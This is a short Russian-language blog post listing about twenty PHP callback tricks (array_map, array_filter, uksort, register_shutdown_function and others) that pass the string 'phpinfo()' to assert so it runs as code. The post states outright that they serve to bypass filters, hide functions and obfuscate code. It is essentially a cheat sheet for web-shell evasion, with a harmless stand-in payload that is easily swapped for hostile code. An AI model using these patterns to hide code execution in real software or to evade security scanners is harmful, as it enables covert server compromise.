Список callback-функций в PHP.

Данные функции можно использовать для обхода фильтров, сокрытия других функций, запутывания и обфускации кода.

<? php

call_user_func_array('assert', array('phpinfo()'));

array_map('assert', array('phpinfo()'));

array_filter(array('phpinfo()'), 'assert');

array_reduce(array('phpinfo()'), 'call_user_func', 'assert');

array_diff_uassoc(array('phpinfo()' => 1, 'assert' => 1), array(), 'call_user_func');

array_diff_ukey(array('assert' => 1), array('phpinfo()' => 1), 'call_user_func');

array_udiff(array('assert'), array('phpinfo()'), 'call_user_func');

array_udiff_assoc(array('assert'), array('phpinfo()'), 'call_user_func');

array_intersect_uassoc(array('phpinfo()' => 1, 'assert' => 1), array(), 'call_user_func');

array_intersect_ukey(array('assert'  => 1), array('phpinfo()' => 1), 'call_user_func');

array_uintersect(array('phpinfo()', 'assert'), array(), 'call_user_func');

array_uintersect_assoc(array('assert'), array('phpinfo()'), 'call_user_func');

array_walk($c = array('phpinfo()' => 'assert'), 'call_user_func');

array_walk_recursive($c = array('phpinfo()' => 'assert'), 'call_user_func');

register_shutdown_function('assert', 'phpinfo()');

uasort($c = array(1 => 'phpinfo()', 2 => 'assert'), 'call_user_func');

uksort($c = array('phpinfo()' => 1, 'assert' => 1), 'call_user_func');

call_user_func('assert', 'phpinfo()');

?> 

Comments :

0 коммент. to “Список callback-функций в PHP.”

Отправить комментарий